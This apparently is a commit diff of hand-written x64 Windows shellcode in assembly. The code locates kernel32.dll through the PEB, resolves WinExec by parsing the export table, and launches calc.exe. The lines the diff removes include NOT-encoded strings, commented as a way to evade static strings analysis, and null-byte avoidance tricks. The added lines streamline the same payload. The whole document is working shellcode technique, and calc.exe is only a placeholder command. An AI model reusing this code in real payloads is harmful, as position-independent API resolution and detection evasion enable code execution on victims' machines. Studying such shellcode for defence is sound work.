1
1
[bits 64]
2
2
3
+ ;; TODO: DEBUG this shiiiit (x64dbg)
4
+
3
5
; Access PEB structure
4
6
xor rbx , rbx
5
7
mov rbx , gs : [ 0x60 ] ; RBX = address of PEB struct
6
8
mov rbx , [ rbx + 0x18 ] ; RBX = address of PEB_LDR_DATA
7
- mov rbx , rbx + 0x20 ; RBX = address of InMemoryOrderModuleList
9
+ add rbx , 0x20 ; RBX = address of InMemoryOrderModuleList
8
10
9
11
; Go down the double-link list of PEB_LDR_DATA
10
- mov rbx , [ rbx ] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
12
+ mov rbx , [ rbx ] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
11
13
mov rbx , [ rbx ] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
12
14
mov rbx , [ rbx ] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
13
15
@@ -40,110 +42,73 @@ xor r12, r12
40
42
mov r12 , [ r9 + 0x24 ] ; R12 = ExportTable.AddressOfNameOrdinals RVA
41
43
add r12 , r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
42
44
43
- jmp short get_winapi_func
44
-
45
- get_winapi_func:
46
- ; Requirements:
47
- ; R8 = &kernel32.dll
48
- ; R10 = &AddressOfFunctions (ExportTable)
49
- ; R11 = &AddressOfNames (ExportTable)
50
- ; R12 = &AddressOfNameOrdinals (ExportTable)
51
- ; Returns:
52
- ; RAX = &winapi_func
53
-
54
-
55
-
56
- ; ==================================
57
-
58
- xor rdi , rdi ; RDI = 0x0
59
- mul rdi ; RAX&RDX =0x0
60
- mov rbx , gs : [ rax + 0x60 ] ; RBX = Address_of_PEB
61
- mov rbx , [ rbx + 0x18 ] ; RBX = Address_of_LDR
62
- mov rbx , [ rbx + 0x20 ] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
63
- mov rbx , [ rbx ] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
64
- mov rbx , [ rbx ] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
65
- mov rbx , [ rbx + 0x20 ] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
66
- mov r8 , rbx ; RBX & R8 = &kernel32.dll
67
-
68
- ; Get kernel32.dll ExportTable Address
69
- mov ebx , [ rbx + 0x3C ] ; RBX = Offset NewEXEHeader
70
- add rbx , r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
71
- xor rcx , rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
72
- add cx , 0x88ff
73
- shr rcx , 0x8 ; RCX = 0x88ff --> 0x88
74
- mov edx , [ rbx + rcx ] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
75
- add rdx , r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
76
-
77
- ; Get &AddressTable from Kernel32.dll ExportTable
78
- xor r10 , r10
79
- mov r10d , [ rdx + 0x1C ] ; RDI = RVA AddressTable
80
- add r10 , r8 ; R10 = &AddressTable
45
+ ; Get address of WinExec function exported from kernel32.dll
46
+ xor rcx , rcx
47
+ add cl , 0x7 ; RCX = function name length ("WinExec" == 7)
81
48
82
- ; Get &NamePointerTable from Kernel32.dll ExportTable
83
- xor r11 , r11
84
- mov r11d , [ rdx + 0x20 ] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
85
- add r11 , r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
49
+ xor rax , rax
50
+ mov rax , 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00
51
+ push rax ; STACK + function name address (8)
52
+ mov rsi , rsp ; RSI = &function_name
86
53
87
- ; Get &OrdinalTable from Kernel32.dll ExportTable
88
- xor r12 , r12
89
- mov r12d , [ rdx + 0x24 ] ; R12 = RVA OrdinalTable
90
- add r12 , r8 ; R12 = &OrdinalTable
91
-
92
- jmp short apis
93
-
94
- ; Get the address of the API from the Kernel32.dll ExportTable
95
- getapiaddr:
96
- pop rbx ; save the return address for ret 2 caller after API address is found
97
- pop rcx ; Get the string length counter from stack
98
- xor rax , rax ; Setup Counter for resolving the API Address after finding the name string
99
- mov rdx , rsp ; RDX = Address of API Name String to match on the Stack
100
- push rcx ; push the string length counter to stack
101
- loop :
102
- mov rcx , [ rsp ] ; reset the string length counter from the stack
103
- xor rdi , rdi ; Clear RDI for setting up string name retrieval
104
- mov edi , [ r11 + rax * 4 ] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
105
- add rdi , r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
106
- mov rsi , rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
107
- repe cmpsb ; Compare strings at RDI & RSI
108
- je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
109
- incloop:
110
- inc rax
111
- jmp short loop
112
-
113
- ; Find the address of GetProcAddress by using the last value of the Counter
114
- resolveaddr:
115
- pop rcx ; remove string length counter from top of stack
116
- mov ax , [ r12 + rax * 2 ] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
117
- mov eax , [ r10 + rax * 4 ] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
118
- add rax , r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
119
- push rbx ; place the return address from the api string call back on the top of the stack
120
- ret ; return to API caller
121
-
122
- apis: ; API Names to resolve addresses
123
- ; WinExec | String length : 7
124
- xor rcx , rcx
125
- add cl , 0x7 ; String length for compare string
126
- mov rax , 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
127
- not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
128
- shr rax , 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
129
- push rax
130
- push rcx ; push the string length counter to stack
131
- call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
132
- mov r14 , rax ; R14 = Kernel32.WinExec Address
54
+ call get_winapi_func
55
+ mov r13 , rax ; R13 = &WinExec
133
56
57
+ ; Execute WinExec function
58
+ ;
134
59
; UINT WinExec(
135
60
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
136
61
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
137
62
; );
63
+ xor rax , rax
138
64
xor rcx , rcx
139
- mul rcx ; RAX & RDX & RCX = 0x0
140
- ; calc.exe | String length : 8
141
- push rax ; Null terminate string on stack
142
- mov rax , 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
143
- not rax
144
- ;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
145
- push rax ; RSP = "calc.exe",0x0
146
- mov rcx , rsp ; RCX = "calc.exe",0x0
147
- inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
148
- sub rsp , 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
149
- call r14 ; Call WinExec("calc.exe", SW_HIDE)
65
+ xor rdx , rdx
66
+
67
+ mov rax , 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
68
+ push ax ; STACK + null terminator (2)
69
+ push rax ; STACK + command string (8)
70
+ mov rcx , rsp ; RCX = LPCSTR lpCmdLine
71
+
72
+ mov dl , 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
73
+ ; Why is here "sub rsp, 0x20" originally ???
74
+ call r13 ; Call WinExec(rax, rdx)
75
+
76
+ get_winapi_func:
77
+ ; Requirements (preserved):
78
+ ; R8 = &kernel32.dll
79
+ ; R10 = &AddressOfFunctions (ExportTable)
80
+ ; R11 = &AddressOfNames (ExportTable)
81
+ ; R12 = &AddressOfNameOrdinals (ExportTable)
82
+ ; Parameters (preserved):
83
+ ; RSI = (char*) function_name
84
+ ; RCX = (int) length of function_name string
85
+ ; Returns:
86
+ ; RAX = &function
87
+ ;
88
+ ; IMPORTANT: This function doesn't handle "not found" case!
89
+ ; Infinite loop and access violation is possible.
90
+
91
+ xor rax , rax ; RAX = counter = 0
92
+ push rcx ; STACK + RCX (8) = preserve length of function_name string
93
+
94
+ ; Loop through AddressOfNames array:
95
+ ; array item = function name RVA (4 bytes)
96
+ loop :
97
+ mov rcx , [ rsp ] ; RCX = length of function_name string
98
+ xor rdi , rdi ; RDI = 0
99
+
100
+ mov edi , [ r11 + rax * 4 ] ; RDI = function name RVA
101
+ add rdi , r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
102
+ repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
103
+
104
+ je resolve_func_addr ; Jump if exported function name == param function name
105
+
106
+ inc rax ; RAX = RAX + 1
107
+ jmp short loop
108
+
109
+ resolve_func_addr:
110
+ pop rcx ; STACK - RCX (8) = remove length of function_name string
111
+ mov ax , [ r12 + rax * 2 ] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
112
+ mov eax , [ r10 + rax * 4 ] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
113
+ add rax , r8 ; RAX = &function = function RVA + &kernel32.dll
114
+ ret
0 commit comments